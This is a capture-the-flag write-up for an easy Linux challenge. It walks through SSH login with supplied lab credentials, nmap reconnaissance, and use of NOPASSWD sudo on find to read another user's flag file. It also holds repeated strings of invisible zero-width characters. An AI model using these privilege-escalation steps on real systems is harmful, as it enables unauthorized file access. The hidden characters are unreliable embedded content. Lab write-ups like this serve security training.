In Search of the Flag

Platform: hackerlab | Category: Infrastructure | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-04 | Status: Solved Techniques: gtfobins_sudo_abuse, linux_enumeration, sudo_find_file_read

Summary

Task: SSH access is provided and a flag-looking PNG in /home/user suggests an image-stego rabbit hole. Solution: enumerate the Linux host, identify NOPASSWD sudo for /usr/bin/find, and use GTFOBins-style file reads to recover the real flag from /home/r00t/flag.txt.

In Search of the Flag — Hackerlab

Description

В поисках флага Вас ожидает путешествие в поисах флага! Для кого-то оно будет коротким, а для кого-то нет. Данные для ssh: user:megapass Удачи вам! :)

English summary: the challenge gives direct SSH access to a Linux host at 62.173.140.174:10922 with credentials user / megapass. The obvious bait is a file named this_is_flag.png, but the real solution is host enumeration and sudo abuse.

Target: 62.173.140.174:10922
Credentials: user / megapass
Flag format: CODEBY{...} ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

The first step was simple reconnaissance against the SSH service.

 bash read-only • copy allowed Copy
nmap -sV -p 10922 62.173.140.174
ssh -p 10922 user@62.173.140.174

This confirmed an Ubuntu host with OpenSSH_8.9p1, and the provided credentials worked immediately.

Inside /home/user, there was a very suspicious file:

 bash read-only • copy allowed Copy
ls -la /home/user
# this_is_flag.png

That filename strongly suggested a trap. Basic image checks did not reveal a useful payload:

 bash read-only • copy allowed Copy
file /home/user/this_is_flag.png
exiftool /home/user/this_is_flag.png

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Bit-plane inspection also pointed to a dead end rather than a real flag. That made the PNG the main rabbit hole of the task.

At this point, standard Linux privilege-escalation enumeration was the better path. The key check was:

 bash read-only • copy allowed Copy
sudo -l

The result exposed the intended vulnerability:

 text read-only • copy allowed Copy
(r00t) NOPASSWD: /usr/bin/find

This is dangerous because find is a GTFOBins-capable binary and can be abused for file reads when executed via sudo as another user.

Solution

1. Connect over SSH

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
ssh -p 10922 user@62.173.140.174
# password: megapass

2. Ignore the decoy PNG

The file this_is_flag.png exists to waste time on image analysis. It looks flag-related, but it is not the shortest path to the solution.

3. Enumerate sudo privileges

 bash read-only • copy allowed Copy
sudo -l

Important finding:

 text read-only • copy allowed Copy
(r00t) NOPASSWD: /usr/bin/find

4. Enumerate the target user's home directory with sudo find

 bash read-only • copy allowed Copy
sudo -u r00t /usr/bin/find /home/r00t -maxdepth 1 -type f

Interesting files discovered: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 text read-only • copy allowed Copy
/home/r00t/flag.txt
/home/r00t/flag.png

Again, flag.png is another distraction. The useful target is flag.txt.

5. Read the real flag with find + cat

Reading from /home/user as the current working directory caused permission-related friction, so the reliable approach was to switch to / first and then execute the read through find:

 bash read-only • copy allowed Copy
cd /
sudo -u r00t /usr/bin/find /home/r00t/flag.txt -exec /bin/cat {} \; -quit

Output:

 text read-only • copy allowed Copy
CODEBY{REDACTED}

Minimal exploit path

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
nmap -sV -p 10922 62.173.140.174
ssh -p 10922 user@62.173.140.174
sudo -l
sudo -u r00t /usr/bin/find /home/r00t -maxdepth 1 -type f
cd /
sudo -u r00t /usr/bin/find /home/r00t/flag.txt -exec /bin/cat {} \; -quit

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍